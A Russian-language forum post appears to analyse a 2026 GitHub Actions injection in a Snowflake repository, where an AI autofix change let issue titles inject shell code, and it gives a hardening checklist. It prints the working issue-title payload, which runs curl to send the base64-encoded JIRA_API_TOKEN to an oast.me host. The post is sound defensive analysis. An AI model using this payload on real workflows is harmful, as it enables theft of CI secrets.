Перейти к содержанию

Когда «безопасная» правка открывает дверь: как утёк Jira-токен Snowflake

Опубликовано
  • Админы
Автофикс от ИИ и инъекция в GitHub Actions
Правка, которая должна была улучшить воркфлоу, открыла доступ к секрету

Сюжет умещается в несколько строк. В открытый репозиторий snowflakedb/snowflake-connector-net 18 июня 2026 года приняли пулл-реквест #1218 — с виду безобидный, «правим Jira-воркфлоу, код не трогаем». Среди соавторов коммита числится Copilot Autofix powered by AI. Спустя пять суток команда Wiz вытащила оттуда действующий API-ключ Jira: достаточно было завести в трекере issue с подходящим заголовком.

Ниже — реконструкция по коммитам. Всё лежит публично, так что каждый шаг проверяется вручную.

Как разворачивались события

Хронология инцидента
Схема на основе публикации Wiz Research и коммитов Snowflake

Пять суток — ровно столько воркфлоу, у которого в окружении лежал секрет JIRA_API_TOKEN, отзывался на issue, открытый кем угодно из интернета.

Каким был payload

Судя по описанию Wiz, с наскока не получилось: попытка закомментировать хвост через # не давала нужного закрытия конструкции. Сработал другой приём — закрыть кавычку, вставить свою команду и снова открыть кавычку, чтобы остаток строки не поломал разбор:

' ; curl -s "https://<поддомен>.oast.me?t=`printf %s $JIRA_API_TOKEN|base64 -w0`" ; echo '

Ключ уехал на сторонний домен в кодировке base64 — приём out-of-band-подтверждения. Далее он проходил аутентификацию в snowflakecomputing.atlassian.net под учёткой qa@snowflake.net и открывал чтение инженерных проектов, комплаенса и bug bounty.

Заплатку выкатили в тот же день, 23 июня. Коммит 1dc7766 в составе PR #1402 вернул переменные ISSUE_TITLE, ISSUE_BODY и ISSUE_URL в секцию env:, а формирование JSON — на jq -n --arg. Днём позже ключ отозвали. Идентификатор CVE не выдавался: перед нами не дефект продукта, а ошибка в настройке CI отдельно взятого репозитория.

Что стояло в файле до и после

Раньше файл .github/workflows/jira_issue.yml вёл себя корректно: значение заголовка ехало в переменную окружения, а jq собирал payload через --arg, беря экранирование на себя.

env:
  ISSUE_TITLE: ${{ github.event.issue.title }}
run: jq -n --arg title "$ISSUE_TITLE" ...

Правка превратила это вот в такое:

run: TITLE=$(echo '${{ github.event.issue.title }}' | sed ...)

Внешне мелочь, по сути — перелом. Запись ${{ … }} в GitHub Actions относится не к шеллу, а к шаблонизатору, который вклеивает значение в текст скрипта ещё до запуска. Когда очередь доходит до sed, заголовок уже стал частью команды, и экранировать нечего: одиночная кавычка в заголовке завершает echo, а всё написанное автором issue дальше воспринимается как продолжение команды.

⛔ Так делать нельзя

Прямая вставка ${{ github.event.* }} в тело run: недопустима. Пользовательские данные — заголовки и тексты issue, имена веток, комментарии, названия PR — передаются исключительно через env: и читаются потом как обычная шелл-переменная, взятая в кавычки.

Страховка, которой не было

Формально в воркфлоу присутствовала ограничивающая проверка — условие по github.event.pull_request.user.login. Беда в том, что запуск происходил по событию issues: opened, а у него объекта pull_request попросту не существует. Чтение поля у отсутствующего объекта возвращает пустоту, условие превращается в истину, шаг отрабатывает всегда.

Типовая ошибка: защита сочинялась под один триггер, а переехала на другой без разбора.

⚠️ Осторожно

Про природу источника. Red Agent — фирменная разработка самой Wiz, и материал в жанре «наш агент самостоятельно обнаружил и проэксплуатировал» одновременно продаёт продукт. Что здесь поддаётся проверке — даты, хеши коммитов и содержимое диффов; они открыты, и я их сверил по репозиторию. Тезисы об автономности агента остаются на совести вендора.

Уроки для репозитория с агентом в контуре

Занятна тут не инъекция как таковая — классу багов полтора десятка лет, — а вектор правки. Инструмент, созданный для укрепления безопасности, поменял верную конструкцию на ошибочную, а ревьюер, глядя на описание «CI yml adjustment, no code changes», пропустил это мимо.

Изменения в воркфлоу — это код, у которого есть секреты. Одна строчка в .github/workflows/ способна обойтись дороже сотни строк прикладной логики. Привычку «PR по CI смотрим по диагонали» стоит выбросить.

Смотреть надо на вектор, а не только на итог. Разумный вопрос к любому автофиксу: что стояло раньше и по какой причине. Переход с jq --arg на sed — движение к худшему, и заметно оно лишь при взгляде на исходное состояние.

Класс проблемы закрывается автоматикой. Подстановки через ${{ }} отлично ловятся статическим анализом. Как минимум запустите в CI actionlint и zizmor, чтобы о таком сообщал робот, а не сторонний исследователь.

✅ Как правильно

Пробежка по собственным воркфлоу за десять минут:

  • выполнить grep -rn '\${{ github.event' .github/workflows/ и просмотреть каждое совпадение внутри run:;
  • считать недоверенным вводом всё, что приходит с триггеров issues, issue_comment, pull_request_target, discussion;
  • не пускать секреты в шаги, где обрабатывается пользовательский текст;
  • сверить каждое if: с фактическим триггером — поля чужого события молча отдают пустоту;
  • урезать права интеграционных токенов и ротировать их по календарю, а не по факту утечки.

❗ Главное

Сгенерированный моделью автофикс стоит воспринимать как заявку, а не как патч из рук эксперта. Вес ей придаёт ревью — и только то ревью, где сравнивают «было» со «стало», а не оценивают, выглядит ли результат правдоподобно.


Источники

💬 Вопрос к сообществу

У кого включён Copilot Autofix или его аналог: разбираете ли вы такие правки с той же придирчивостью, что и правки живого коллеги, или на практике мержите быстрее? И запускает ли кто-нибудь actionlint либо zizmor по своим воркфлоу — попадалось ли им что-то настоящее?

Featured Replies

No posts to show

Присоединяйтесь к обсуждению

Вы можете написать сейчас и зарегистрироваться позже. Если у вас есть аккаунт, авторизуйтесь, чтобы опубликовать от имени своего аккаунта.
Примечание: Ваш пост будет проверен модератором, прежде чем станет видимым.

Гость
К сожалению, ваш контент содержит запрещённые слова. Пожалуйста, отредактируйте контент, чтобы удалить выделенные ниже слова.
Ответить в этой теме...

Последние посетители 0

  • Ни одного зарегистрированного пользователя не просматривает данную страницу
Яндекс.Метрика

Account

Navigation

Поиск

Поиск

Configure browser push notifications

Chrome (Android)
  1. Tap the lock icon next to the address bar.
  2. Tap Permissions → Notifications.
  3. Adjust your preference.
Chrome (Desktop)
  1. Click the padlock icon in the address bar.
  2. Select Site settings.
  3. Find Notifications and adjust your preference.